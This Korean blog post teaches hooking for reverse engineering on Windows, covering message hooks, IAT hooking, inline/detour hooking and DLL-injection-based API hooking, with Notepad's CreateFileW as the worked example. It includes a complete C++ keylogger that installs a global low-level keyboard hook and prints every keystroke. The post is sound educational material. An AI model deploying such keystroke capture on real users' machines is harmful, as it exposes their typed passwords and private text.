리버싱 후킹이란?

JYC·2026년 2월 26일
post-thumbnail

리버스 엔지니어링에서의 후킹 이해

후킹(Hooking)이란 무엇인가?

  • 운영체제–응용프로그램, 혹은 모듈/컴포넌트 사이에서 발생하는 호출 흐름(함수/이벤트)을 중간에서 가로채는 동적 계측 기술
    • 그냥 간단하게 내가 원하는 곳으로 경로를 가로채거나 내용을 엿보는 기술

리버싱에서 후킹이 중요한 이유

  • 소스코드가 없거나, 수정/재빌드가 불가능한 상황에서 “프로그램이 실제로 어떤 값을 가지고 어떤 경로로 실행되는지”를 보려면 실행 중에 강제로 관찰 지점을 만들어야 한다.

리버싱에서 후킹의 가치가 큰 이유는, 정적 분석만으로는 잘 안 잡히는 것들이 있기 때문이다.

  • 실제로 어떤 인자/구조체가 들어오는지
  • 어떤 값이 조건 분기를 결정하는지
  • 어떤 API가 어떤 순서로 호출되는지(특히 시간·빈도)
  • “이 입력/이벤트/상태 변화”가 내부 로직에 어떤 영향을 주는지

후킹은 이런 질문에 답하기 위한 관찰 지점이자, 필요하면 통제 지점이 된다.

용어 정리

  • Hook Point: 가로챌 목표 지점 (예: 특정 API 함수, 메시지 큐 등)
  • Hook Handler: 흐름을 가로챈 뒤 실행될 '나의 코드' (여기서 로깅, 차단 등을 수행)
  • Original Path: 원래 가야 했을 정상적인 실행 경로
  • Forward / Block: 내 코드(Handler) 실행 후, 원래 경로로 돌려보낼지(Forward) 여기서 아예 끊어버릴지(Block) 결정

후킹의 전체 프로세스

모든 후킹은 구현 방식이 달라도, 리버싱 관점에서는 다음 4단계의 공통된 프로세스를 거친다. 단, 무작정 코드를 덮어쓰는 것이 아니라 철저한 분석과 복귀 과정이 필수적이다.

  1. 타깃 선정(Targeting):

→ “내가 무엇을 관찰/통제할 것인가?” 목표를 먼저 정하고, 그 목표 데이터가 지나가는 경계(레이어) 를 찾는다. 이때 어떤 함수 이름 하나를 고르는 게 아니라, 어느 레벨에서 잡을지를 함께 결정해야 한다. (상위 API는 의미가 명확하지만 우회될 수 있고, 하위 레벨은 포착률이 높지만 의미가 거칠 수 있다.)

  • 목표를 ‘관찰 포인트’로 쪼개기: 예) 파일 접근을 본다 → 파일 열기/읽기/쓰기 경계, 레지스트리면 열기/조회/수정 경계, 네트워크면 연결/송수신 경계처럼 “관찰하고 싶은 행위”를 먼저 적는다.
  • 후보 레벨을 2~3개로 잡기(우선순위 포함): 예) kernel32/user32 같은 상위 API, ntdll 같은 더 하위 레벨(또는 프로그램 내부 함수) 중 어디가 “의미/포착률/우회 가능성” 관점에서 적절한지 결정한다.
  • 후킹 난이도 체크: 호출 빈도(너무 핫하면 로그 폭발), 호출 규약/인자 구조/반환 타입, 스레드 컨텍스트(어느 스레드에서 호출되는지), 예외/에러 경로를 디스어셈블러·디버거로 확인한다.
  • 원본 호출 정책까지 같이 정하기: 원본을 그대로 호출할지(관찰), 조건부로만 호출할지(제한), 아예 대체/차단할지(통제)를 타깃 선정 단계에서 결정해둔다.
  1. 실행 컨텍스트 확보 (Execution Context) - "내 코드는 어디서 실행되는가?" 흐름을 가로챘다면, 내가 만든 코드(Hook Handler)가 실행될 '메모리상의 자리'가 필요하다.
  • 인-프로세스(In-process): 타깃이 내 프로그램 자신이거나, 내가 로드한 모듈 내부일 경우. 이미 같은 메모리 공간이므로 설계가 단순하다.
  • 크로스-프로세스(Cross-process): 외부 타깃 프로그램을 후킹할 경우. 내 코드를 타깃의 공간으로 넘기기 위해 인젝션(대표적으로 DLL) 방식을 사용해 타깃 내부에 공간과 실행 권한을 확보하거나, 디버거(Debugger) 형태로 붙어 제어권을 얻어내야 한다.
  1. 흐름 가로채기(Interception):

실제로 실행 흐름이 지나가는 “경계”를 내 훅 함수로 우회시키는 단계다. 후킹 방식은 크게 이벤트 경로를 가로채는 방식함수 호출 경로를 가로채는 방식(API 후킹) 으로 나뉜다.

  • 이벤트/메시지 경로 가로채기(이벤트 후킹): 키보드/마우스/윈도우 메시지처럼 OS 이벤트가 전달되는 경로에서 핸들러를 먼저 호출되게 만든다. → “사용자 행동/입력 흐름”을 관찰하는 데 강함.
  • IAT 후킹(주소록 바꿔치기): 모듈이 외부 함수를 호출할 때 참고하는 IAT 엔트리(함수 포인터)를 내 함수 주소로 교체해 호출이 훅으로 들어오게 만든다. → import 경로를 타는 호출에 강하고, 어느 모듈의 IAT를 바꾸는지가 곧 후킹 범위다.
  • 인라인 후킹(함수 엔트리 우회 + 트램폴린): 함수 시작부의 코드 흐름을 우회시키도록 분기(점프)로 변경해, 호출이 무조건 훅으로 들어오게 만든다. 원본 실행을 유지하려면 덮어쓴 원본 앞부분을 트램폴린으로 보존해 원본 경로로 합류한다. → IAT를 안 타는 호출/내부 함수까지 포함해 범용성이 높지만, 명령 경계·스레드 타이밍·64비트 제약 등으로 구현 난이도가 높다.

“이벤트 후킹”은 이벤트 흐름을 잡고, “API 후킹(IAT/인라인)”은 함수 호출 경계를 잡는다.

IAT는 모듈 단위로 범위를 좁혀 잡기 좋고, 인라인은 범용적으로 강제 우회가 가능하다.

  1. 실행 및 복귀 (Handling & Return): 내 코드(Hook Handler)로 제어권이 넘어와 필요한 작업(인자 로깅, 값 변조, 차단 등)을 수행한다.
  • 작업이 끝났다면 프로그램이 크래시(프로그램 종료/예외 발생) 나지 않도록 파괴된 레지스터와 스택을 원상 복구하고, 다시 원본 흐름이나 다음 훅으로 안전하게 돌려보낸다.

후킹 기술의 종류

가로채는 대상과 위치에 따라 후킹 방식은 다양하지만, 리버싱에서 자주 만나는 대표 방식 3개를 먼저 잡고 간다.

  • 메시지/이벤트 후킹 (Windows Hooks)
  • IAT 후킹
  • 인라인 후킹

메시지/이벤트 후킹

→ 메시지/이벤트 후킹은 API 후킹(IAT/인라인)처럼 함수 호출 경계를 낚는 게 아니라, 입력/메시지 같은 이벤트 흐름 자체를 가로채는 방식이다.

  • 사용자 입력과 UI 이벤트가 언제/어떤 형태로 들어오는지를 먼저 잡고 싶을 때 유용하다.

[일반적인 경우의 Windows 메시지 흐름에 대한 설명]

윈도우 GUI 프로그램은 기본적으로 메시지 중심으로 동작한다.

  1. 키보드 입력이 발생하면 윈도우는 해당 입력을 메시지(WM_KEYDOWN 등) 형태로 만든다.
  2. 그 메시지는 먼저 OS가 관리하는 큐에서 분배되고, 최종적으로 해당 스레드의 메시지 큐로 들어간다.
  3. 응용 프로그램은 보통 GetMessage/PeekMessage 같은 루프에서 메시지를 꺼내고, DispatchMessage를 통해 윈도우 프로시저(WndProc) 로 전달한다.
  4. WndProc 내부에서 메시지 종류(WM_KEYDOWN 등)에 따라 핸들러가 실행된다.

여기서 포인트

메시지/이벤트 후킹은 “WndProc 안으로 들어간 뒤”가 아니라, 그 전에 흐름을 먼저 보는 쪽에 가깝다.

훅 체인(Hook Chain) 감각

윈도우는 입력/메시지 처리 과정에서 훅 체인이라는 중간 경로를 둘 수 있다.

훅 체인에 내 훅 프로시저를 등록하면, 메시지가 응용 프로그램에 도달하기 전에 내 코드가 먼저 호출될 수 있다.

  • 훅은 보통 한 개만 존재하는 게 아니라 여러 개가 순서대로 연결될 수 있다.
  • 그래서 훅 프로시저는 보통 처리 후 CallNextHookEx로 다음 훅에 넘겨 체인을 유지한다.
    • (체인을 끊으면 예상치 못한 부작용이 생길 수 있다.)

전역 훅(Global) vs 스레드 훅(Thread-specific)

메시지/이벤트 후킹은 범위가 중요하다. 범위를 넓히면 강력해 보이지만, 동시에 리스크도 커진다.

  • 스레드 훅(특정 스레드에만 적용)
    • 범위가 제한적이라 안정성이 좋다.
    • “특정 앱/특정 창”만 대상으로 할 때 선호된다.
  • 전역 훅(시스템 전반에 적용)
    • 여러 프로세스/스레드 입력을 폭넓게 관찰 가능
    • 대신 제약/충돌 가능성이 높고, 구현 구조도 DLL 형태가 요구되는 경우가 많다.

메시지 후킹으로 뭘 할 수 있나? (관찰/변경/차단)

메시지/이벤트 후킹은 다음 3가지 목적에 쓰인다.

  • 관찰(관측)
    • 어떤 입력이 언제 들어오는지(시간 간격, 빈도)
    • 어떤 창/스레드에서 이벤트가 발생했는지
    • 입력 패턴이 사람인지 자동화인지(추정 신호)
  • 변경(수정)
    • 특정 메시지의 일부 정보를 변형하는 방식(상황에 따라 가능)
  • 차단(전달 중단)
    • 특정 조건에서 메시지가 아래로 더 내려가지 않게 하는 방식(가능은 하지만, 정상 동작을 깨기 쉬워 신중해야 함)

API 후킹과의 관계

  • 메시지/이벤트 후킹: 입력/이벤트가 들어오는 흐름(행동)을 잡는다.
    • 예: 키 입력이 발생하는 시점, 입력 속도/빈도, UI 이벤트 패턴
  • API 후킹(IAT/인라인): 그 입력이 실제로 어떤 함수 호출/행위로 이어졌는지(결과)를 잡는다.
    • 예: 파일 열기/쓰기, 프로세스 실행, 레지스트리 변경, 네트워크 연결 등

이러한 메시지 훅 기능은 Windows 운영체제에서 제공하는 기본 기능이며, 대표적으로 MS Visual Studio에서 제공되는 SPY++ 가 있다.

예시: Keylogger 후킹 코드 작성해보기

#include <iostream>
#include <windows.h>
#include <string>

// 훅 핸들 보관용 전역 변수
HHOOK _hook;

// Hook Handler (흐름을 가로챈 뒤 실행될 코드)
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        // 키보드가 눌렸을 때 (WM_KEYDOWN)
        if (wParam == WM_KEYDOWN) {
            KBDLLHOOKSTRUCT* kbdStruct = (KBDLLHOOKSTRUCT*)lParam;
            DWORD vkCode = kbdStruct->vkCode;

            std::string log_message;

            // 조합키(Ctrl, Shift) 상태 확인
            if (GetAsyncKeyState(VK_LCONTROL) & 0x8000 || GetAsyncKeyState(VK_RCONTROL) & 0x8000) {
                log_message += "[Ctrl] + ";
            }
            if (GetAsyncKeyState(VK_LSHIFT) & 0x8000 || GetAsyncKeyState(VK_RSHIFT) & 0x8000) {
                log_message += "[Shift] + ";
            }

            // 일반 키보드 문자 판별
            if (vkCode >= 0x30 && vkCode <= 0x5A) { // 숫자 0-9, 알파벳 A-Z
                log_message += (char)vkCode;
            }
            else if (vkCode == VK_BACK) {
                log_message += "[Backspace]";
            }
            else if (vkCode == VK_RETURN) {
                log_message += "[Enter]";
            }
            else if (vkCode == VK_SPACE) {
                log_message += "[Space]";
            }

            // 가로챈 키보드 입력을 콘솔에 출력
            if (!log_message.empty()) {
                std::cout << "Intercepted Key: " << log_message << std::endl;
            }

            // 만약 특정 키(예: 'A')를 완전히 먹통으로 만들고 싶다면?
            // 여기서 return 1; 을 호출하여 흐름을 끊어버리면(Block) 
            // 원래 응용프로그램에는 'A' 입력이 절대 전달되지 않는다.
        }
    }
    // 처리가 끝났으므로 원래 가야 했을 다음 훅 체인으로 전달 (Forward)
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

int main() {
    // 타깃 선정 및 실행 컨텍스트 확보
    // OS의 가장 앞단(WH_KEYBOARD_LL)에 나의 훅 프로시저(KeyboardHookProc)를 설치한다.
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, NULL, 0);

    if (_hook == NULL) {
        std::cerr << "후킹에 실패했습니다!" << std::endl;
        return 1;
    }

    std::cout << "키보드 훅이 시작되었습니다. (아무 곳에나 타이핑해 보세요!)" << std::endl;

    // 메시지 루프 (훅이 해제되지 않고 계속 대기하도록 유지)
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // 프로그램 종료 시 훅 해제 (안전한 복귀)
    UnhookWindowsHookEx(_hook);
    return 0;
}

간단하게 이와 같이 코드를 작성해 키보드 입력을 가져오는 테스트를 할 수도 있다.


IAT 후킹(Import Address Table Hooking)

프로그램이 외부 DLL 함수를 호출할 때 참고하는 ‘수입 주소록(IAT)’의 함수 포인터를 바꿔치기해서, 호출 흐름이 내 훅 함수로 들어오게 만드는 방식이다.

  • 작동 원리: PE 포맷의 모듈(EXE/DLL)은 자신이 사용할 외부 함수(예: MessageBoxW)를 import로 선언해두고, 로더가 실행 시점에 그 함수들의 실제 주소를 IAT 엔트리(함수 포인터 칸) 에 채워 넣는다. 프로그램은 해당 API를 호출할 때 (많은 경우) 이 IAT 엔트리를 통해 간접 호출을 수행한다. IAT 후킹은 이 엔트리 값을 원본 함수 주소 → 내 훅 함수 주소로 교체하여, 이후 호출이 내 훅으로 먼저 들어오게 만든다.
  • 특징 및 한계:
    • 어셈블리 코드를 직접 패치하지 않아도 되는 경우가 많아 개념이 직관적이고 비교적 구현 부담이 적다.
    • 모듈마다 IAT가 따로 존재하므로, “어느 모듈의 IAT를 바꾸는지”가 곧 후킹 범위가 된다.
    • 모든 호출이 IAT를 거치는 것은 아니다. 예를 들어 GetProcAddress 등으로 런타임에 함수 주소를 얻어 함수 포인터로 직접 호출하거나, 한 번 얻은 주소를 다른 곳에 캐싱해서 호출하는 경우에는 IAT 후킹만으로는 빠질 수 있다(범위가 제한될 수 있다).
    • 또한 환경에 따라 IAT 영역이 쓰기 보호되는 경우가 있어, “항상 단순 덮어쓰기만으로 된다”는 전제는 위험하다.

참고

  • 그림에서 가운데 IAT 박스의 jmp CreateFile 표기는 IAT를 경유한 간접 호출을 단순화한 표현이다.
    • 실제 IAT 엔트리는 보통 함수 주소(포인터)를 담고 있고, 호출부가 그 포인터를 따라 간접 호출한다.
  • 후킹 후(빨간 화살표)는 이 IAT 엔트리가 원본(CreateFile) 대신 훅 함수(그림의 Rootkit code)를 가리키도록 바뀐다.
  • 훅 함수는 인자를 로깅/검사한 뒤 원본 CreateFile로 전달하고(Returning control), 결과를 받아 다시 호출자에게 반환한다.
  • GetProcAddress는 IAT에 있을 수 있지만, GetProcAddress로 얻은 함수 주소를 직접 호출하는 경로는 IAT 기반 후킹이 빠질 수 있다.

인라인 후킹 (Inline / Detour Hooking)

주소록을 건드리는 대신 메모리에 올라간 타깃 함수의 실제 실행 코드 첫 부분을 강제로 점프(JMP) 명령어로 수정해 버린다.

  • 작동 원리: 함수 시작부의 코드 흐름을 우회시키도록 어셈블리 분기(JMP) 명령으로 덮어써서 호출이 무조건 훅으로 들어오게 만든다. 원본 실행을 유지하려면 덮어쓴 원본 앞부분을 트램폴린이라는 공간에 보존해 두었다가, 훅 함수 실행이 끝난 뒤 트램폴린을 거쳐 원본 경로로 합류시킨다.
  • 특징 및 한계: IAT를 안 타는 동적 호출이나 프로그램 내부 함수까지 모두 포함해 범용성이 가장 높고 강력하다. 하지만 명령 경계, 스레드 타이밍, 64비트 레지스터 제약 등으로 인해 구현 난이도가 매우 높고 잦은 크래시를 유발할 수 있다.

API 후킹 좀 더 알아보기

이러한 여러 후킹 기법 중에서도, 시스템의 동작 흐름을 완벽하게 꿰뚫어 볼 수 있는 API 후킹(API Hooking)은 윈도우 환경 리버싱의 핵심으로 불린다.

API 후킹 기술 지도 (API Hooking Tech Map)

어떤 대상을 어떻게 후킹할 것인지 한눈에 파악할 수 있는 구조다.

메모리상의 '어느 위치'를 공략하느냐, 그리고 '어떻게 침투'하느냐에 따라 나뉜다.

API 후킹

윈도우 OS에서 어플리케이션은 보안을 위해 메모리나 파일 같은 시스템 자원에 직접 접근할 수 없다. 반드시 OS가 제공하는 Win32 API (kernel32.dll, ntdll.dll 등)를 거쳐 시스템 커널에게 부탁해야만 한다.

API 후킹은 이 필수적인 통로 길목에 갈고리를 걸어 제어권을 완전히 빼앗는 기술이다.

정상적인 API 호출 (https://reversecore.com/54 참고)

  • 코드 영역 주소에서 CreateFile() API 호출 (CreateFile은 실제로 CreateFileA/ CreateFileW 로 나뉜다.)
  • CreateFile() API는 kernel32.dll 에서 서비스하므로 kernel32.dll 영역의 CreateFile() API가 실행되고 정상적으로 리턴한다.

kernel32 CreateFile()이 후킹된 경우

  • 사용자가 DLL injection 기술로 hook.dll을 프로세스 메모리 공간에 침투시킨다.
    • kernel32 CreateFile()을 hook MyCreateFile()로 후킹한다. (이때 후킹 함수 설치 방법은 DLL Injection 말고도 더 있다.)
  • 이제부터 해당 프로세스에서 CreateFile() API가 호출 될 때마다 kernel32 CreateFile이 호출되는 게 아닌, hook MyCreateFile()이 호출된다.

API 후킹 예시: 메모장의 파일 열기 (CreateFile)

윈도우 기본 프로그램인 메모장(notepad.exe)이 텍스트 파일을 여는 과정을 API 후킹으로 어떻게 통제하는지 확인한다.

1) 정상적인 실행 흐름 (Original Path)

  • 사용자가 메모장에서 c:\abc.txt 파일을 연다.
  • 메모장 코드는 내부적으로 파일을 열기 위해 윈도우 API인 kernel32.dllCreateFileW() 함수를 호출
  • 이 호출은 깊은 단의 ntdll.dll을 거쳐 시스템 커널로 진입하여 정상적으로 파일을 읽어온다.

2) API 후킹이 적용된 실행 흐름 (Hooked Path)

  • 리버서가 DLL 인젝션(DLL Injection)을 통해 메모장 프로세스의 메모리 공간에 자신이 만든 hook.dll을 강제로 침투시킨다.
  • hook.dll은 실행되자마자, 원본 kernel32.dll 내부의 CreateFileW() 함수의 시작 코드를 조작하여(코드 후킹), 내가 작성한 hook!MyCreateFile() 함수로 향하도록 방향을 꺾어버린다.
  • 결과: 이제 메모장이 파일을 열려고 시도할 때마다 무조건 내가 만든 MyCreateFile()이 먼저 실행된다.
    • 할 수 있는 것: 통제권을 쥔 이 MyCreateFile() 함수 내부에서는 인자로 넘어온 파일 경로(c:\abc.txt)를 엿볼 수 있습니다. 만약 열려는 파일 이름이 "기밀문서.txt"라면, 원래 함수로 보내지 않고 강제로 에러를 반환하게 조작하여 메모장이 해당 파일을 절대 열지 못하도록 원천 차단할 수 있다.

출처 및 참고

profile
열심히 하기 1일차

0개의 댓글